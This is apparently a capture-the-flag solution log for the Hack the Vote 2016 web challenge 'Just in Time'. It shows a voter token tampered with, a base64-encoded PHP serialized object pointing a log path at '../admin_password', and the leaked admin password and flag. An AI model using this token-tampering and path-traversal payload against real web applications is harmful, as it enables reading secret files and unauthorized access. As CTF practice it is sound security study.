Hack the Vote 2016: "Just in Time" (web300)

attack.log

$ php time_test.php
11/06/16 01:56



$ http http://kentucky.pwn.republican/inc.php\?p\=countdown | grep closes
<div style="text-align: center">0 days, 5 hours, and 3 minutes until registration closes</div></html>



$ python attack_dst_before.py

key of user1 (user is now locked ...) -->
TKRfV7Lqu8LbqXaFFru/iQYu9+mUOxi9YkOP2DNmSmMS3otkMuvx6/x6cW7ptNyOJtiy9kJ9RfESC2yqPb0vCg==

token of user1 (manipulate this) -->
WyJPOjU6XCJWb3RlclwiOjY6e3M6NDpcIm5hbWVcIjtzOjEwOlwiZnV6enlBMzA5NFwiO3M6NDpcImFkZHJcIjtzOjExOlwiYXNkZiBzdHJlZXNcIjtzOjU6XCJhZmZpbFwiO3M6NjpcIlBpcmF0ZVwiO3M6MzpcInppcFwiO3M6NTpcIjQwMDAzXCI7czozOlwibG9nXCI7czoyMTpcIi5cL2RhdGFcL2Z1enp5QTMwOTRcL2xvZ1wiO3M6ODpcInNob3dfbG9nXCI7YjowO30iLCIxYmMwZTVkMjVhMDQzNzA1OWNkNjVkYjExYzBkZjI5YzRkZTkzNTk4ZDIyNzdiZjBjYWQxMmEyZTQzNDk1NjAxYWNhNGE3ZmVkMDkyYTRjMTlkZjgyN2I4OTExYmY5MThjZTllODhhMzhhNjU0OWMyZmE0YzgwNTRjOTkxMTE3OSIsImZ1enp5QTMwOTQiLCI0YmI5NWQwM2EwNTNiZWU4OTYyMTcwN2M1NzE4YmQwYzYwYzUxNjMwMTEwMWFhYWExODViYzliMzE5MzRlODJhOGJjMmNjZjUyYTAxMDBiMzMzY2YxNGM2MjMwMzY4NTc0MzFiMTg3MDBiMDM1ZWRiMDliOGYzMjgzZjFkY2JiOSJd

build playload -->
WyJPOjU6XCJWb3RlclwiOjY6e3M6NDpcIm5hbWVcIjtzOjEwOlwiZnV6enlBMzA5NFwiO3M6NDpcImFkZHJcIjtzOjExOlwiYXNkZiBzdHJlZXNcIjtzOjU6XCJhZmZpbFwiO3M6NjpcIlBpcmF0ZVwiO3M6MzpcInppcFwiO3M6NTpcIjQwMDAzXCI7czozOlwibG9nXCI7czoxNzpcIi4uXC9hZG1pbl9wYXNzd29yZFwiO3M6ODpcInNob3dfbG9nXCI7YjoxO30iLCI0OTE0NDBkMWE4YTJjZTIwNDcyY2UyZGFiYjVhOGNiYTk0NzYxNzYwNmUwMjQxMDRjMmJlYTZhOWRjMjg0Yjk5ZTdmMzVkOTc2Y2E0MDIwMjlkYmFlZTYxYzJjNWNiNTExNGU0NWQ4ZGVjYzliZTIxNTY4ZmI3YTBhNGE4NGEyMCIsImZ1enp5QTMwOTQiLCI0YmI5NWQwM2EwNTNiZWU4OTYyMTcwN2M1NzE4YmQwYzYwYzUxNjMwMTEwMWFhYWExODViYzliMzE5MzRlODJhOGJjMmNjZjUyYTAxMDBiMzMzY2YxNGM2MjMwMzY4NTc0MzFiMTg3MDBiMDM1ZWRiMDliOGYzMjgzZjFkY2JiOSJd



$ php time_test.php
11/06/16 01:00



$ http http://kentucky.pwn.republican/inc.php\?p\=countdown | grep closes
<div style="text-align: center">0 days, 5 hours, and 59 minutes until registration closes</div></html>



$ python attack_dst_after.py
...
<div class="container starter-template">
    <div class="panel panel-info">
      <div class="panel-heading"><h3 class="panel-title">Valid Voter ID</h3></div>
      <div class="panel-body">Voter registration for fuzzyA3094:<br>    Address: asdf strees<br>    Affiliation: Pirate<br> Zip: 40003<br><br>Last update to voter:<br>secureAdminPassword4VotingMachineManagement<br></div>
    </div>
</div>
...



=> content of ../admin_password
secureAdminPassword4VotingMachineManagement



=> login tp admin.php
voterreg sshd[332]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=129.21.1.40  user=mysql
voterreg sshd[332]: Failed password for mysql from 129.21.1.40 port 36885 ssh2
voterreg sshd[332]: Received disconnect from 129.21.1.40: 11:  [preauth]
voterreg sshd[332]: PAM 1000 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=129.21.1.40  user=mysql
voterreg sshd[338]: Accepted publickey for mysql from 129.21.1.40 port 33740 ssh2: RSA F1:A6:FA:11:C0:DE:CO:11:DE:5L:0C:AL:E5
voterreg sshd[338]: pam_unix(sshd:session): session opened for user mysql by (uid=0)



=> Hint on website:
Note: This challenge uses a slightly nonstandard flag format (an RSA fingerprint starting with F1:A6)



=> flag:
F1:A6:FA:11:C0:DE:CO:11:DE:5L:0C:AL:E5


solved at 7:04 Graz time by verr